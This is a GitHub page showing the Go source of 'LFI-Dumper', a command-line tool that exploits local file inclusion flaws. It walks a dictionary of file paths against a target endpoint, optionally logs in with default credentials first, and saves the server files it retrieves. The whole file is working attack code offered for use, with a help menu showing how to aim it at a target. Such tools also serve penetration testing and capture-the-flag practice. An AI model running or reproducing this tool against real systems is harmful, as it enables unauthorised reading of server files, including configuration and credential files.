-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.go
232 lines (204 loc) · 5.73 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
package main
import (
"bufio"
"bytes"
"fmt"
"io"
"io/ioutil"
"log"
"net/http"
"net/http/cookiejar"
"os"
"path"
"strings"
"time"
"github.com/vardius/progress-go"
)
// Variables
var client http.Client
func init() {
jar, err := cookiejar.New(nil)
if err != nil {
log.Fatalf("Got error while creating cookie jar %s", err.Error())
}
client = http.Client{
Jar: jar,
Timeout: 5 * time.Second,
}
}
func clean_dictionary_entry(entry string) string {
s := strings.Trim(entry, "\r")
s = strings.Trim(s, "\n")
return s
}
func print_AsciiArt() {
fmt.Println()
fmt.Println(" ▄▄▌ ·▄▄▄▪ ·▄▄▄▄ ▄• ▄▌• ▌ ▄ ·. ▄▄▄·▄▄▄ .▄▄▄")
fmt.Println(" ██• ▐▄▄ ██ ██· ██ █▪██▌·██ ▐███▪▐█ ▄█▀▄.▀·▀▄ █·")
fmt.Println(" ██ ▪ █ ▪▐█· ▐█▪ ▐█▌█▌▐█▌▐█ ▌▐▌▐█· ██▀·▐▀▀▪▄▐▀▀▄ ")
fmt.Println(" ▐█▌ ▄██ .▐█▌ ██. ██ ▐█▄█▌██ ██▌▐█▌▐█▪·•▐█▄▄▌▐█•█▌")
fmt.Println(" .▀▀▀ ▀▀▀ ▀▀▀ ▀▀▀▀▀• ▀▀▀ ▀▀ █▪▀▀▀.▀ ▀▀▀ .▀ ▀")
fmt.Println()
fmt.Println(" https://github.com/Asiern/LFI-Dumper")
fmt.Println()
}
func getFile(endpoint string, file string, outputpath string, filterstring string) {
// Generate url by joining endpoint & file
url := endpoint + file
// Create http Request
req, err := http.NewRequest("GET", url, nil)
if err != nil {
log.Fatalf(err.Error())
}
// Send request
response, err := client.Do(req)
if err != nil {
log.Fatalf("Error occured. Error is: %s", err.Error())
}
defer response.Body.Close()
// Get local file contents from response body
body, err := ioutil.ReadAll(response.Body)
if err != nil {
fmt.Println(err)
return
}
// Get Local file from request body
content := string(body)
// Filter content by string
if filterstring != "" {
pos := strings.Index(content, filterstring)
if pos != -1 {
content = content[:pos]
}
}
// TODO fix this
if len(content) < 5 {
return
}
// Create output dir
_, err = os.Stat(outputpath)
if os.IsNotExist(err) {
err = os.MkdirAll(outputpath, os.ModeDir)
if err != nil {
fmt.Println(err)
return
}
}
// Save contents to file
outputfilepath := path.Join(outputpath, path.Base(file))
outputfile, err := os.Create(outputfilepath)
if err != nil {
fmt.Println(err)
os.Exit(-1)
}
outputfile.WriteString(content)
outputfile.Close()
}
func getLineCount(path string) int {
file, err := os.Open(path)
if err != nil {
fmt.Println(err)
os.Exit(-1)
}
reader := bufio.NewReader(file)
nlines := 0
for {
line, err := reader.ReadString('\n') // Read until end of line
if line == "" || (err != nil && err != io.EOF) {
break
}
nlines++
}
return nlines
}
func main() {
var endpoint, outdir, dictionaryPath, login, payload, filter string
// Parse arguments
for i, arg := range os.Args[1:] {
if string(arg[0]) == "-" {
switch arg[1:] {
case "e": // Get target url
endpoint = os.Args[i+2]
case "o": // Output directory
outdir = os.Args[i+2]
case "d": // Dictionary
dictionaryPath = os.Args[i+2]
case "l": // Login url
login = os.Args[i+2]
case "p": // Payload
payload = os.Args[i+2]
case "f": // Content filter
filter = os.Args[i+2]
case "h": // Help menu
print_AsciiArt()
fmt.Println()
fmt.Println("Usage: ./lfidumper -e 'http://target.com/page=' -d dictionary.txt")
fmt.Println()
fmt.Println("Options:")
fmt.Println("\t -e : Endpoint url. -e 'http://target.com/page='")
fmt.Println("\t -o : Output directory. -o output.\n\t If not specified the output directory will be './out'.")
fmt.Println("\t -l : Login url. -l 'http://target/login' ")
fmt.Println("\t -p : Login POST payload. -p 'username=admin&password=admin&Login=Login'")
fmt.Println("\t -d : Dictionary")
fmt.Println("\t -f : Filter response body. Get response until string first appearance.")
fmt.Println("\t -h : Show this menu")
fmt.Println()
os.Exit(1)
default:
fmt.Println("Illegal command arguments.\nSee './lfidumper -h' for more information.")
os.Exit(-1)
}
}
}
print_AsciiArt()
if endpoint == "" {
fmt.Println("No target url specified. Specify target ./lfidumper -e 'http://target/page='")
os.Exit(-1)
}
if dictionaryPath == "" {
fmt.Println("No dictionary specified. './lfidumper -d dictionary.txt'")
os.Exit(-1)
}
if login == "" && payload != "" {
fmt.Println("No Login url specified. Specify target ./lfidumper -l 'http://target/login'")
os.Exit(-1)
}
if login != "" && payload == "" {
fmt.Println("No payload specified. Specify payload 'username=admin&password=admin&Login=Login'")
os.Exit(-1)
}
if outdir == "" {
outdir = "out"
fmt.Println("No output directory specified. Using './" + outdir + "' as the output directory\n")
}
// Open dictionary
dictionary, err := os.Open(dictionaryPath)
if err != nil {
print(err)
os.Exit(1)
}
defer dictionary.Close()
if payload != "" {
client.Post(login, "application/x-www-form-urlencoded", bytes.NewBufferString(payload))
}
// Read dictionary lines
bar := progress.New(0, int64(getLineCount(dictionaryPath)))
_, _ = bar.Start()
reader := bufio.NewReader(dictionary)
defer func() {
if _, err := bar.Stop(); err != nil {
log.Printf("failed to finish progress: %v", err)
}
}()
var line string
for {
line, err = reader.ReadString('\n') // Read until end of line
if line == "" || (err != nil && err != io.EOF) {
break
}
line = clean_dictionary_entry(line[:len(line)-1])
// Get file contents
getFile(endpoint, line, outdir, filter)
bar.Advance(1)
}
}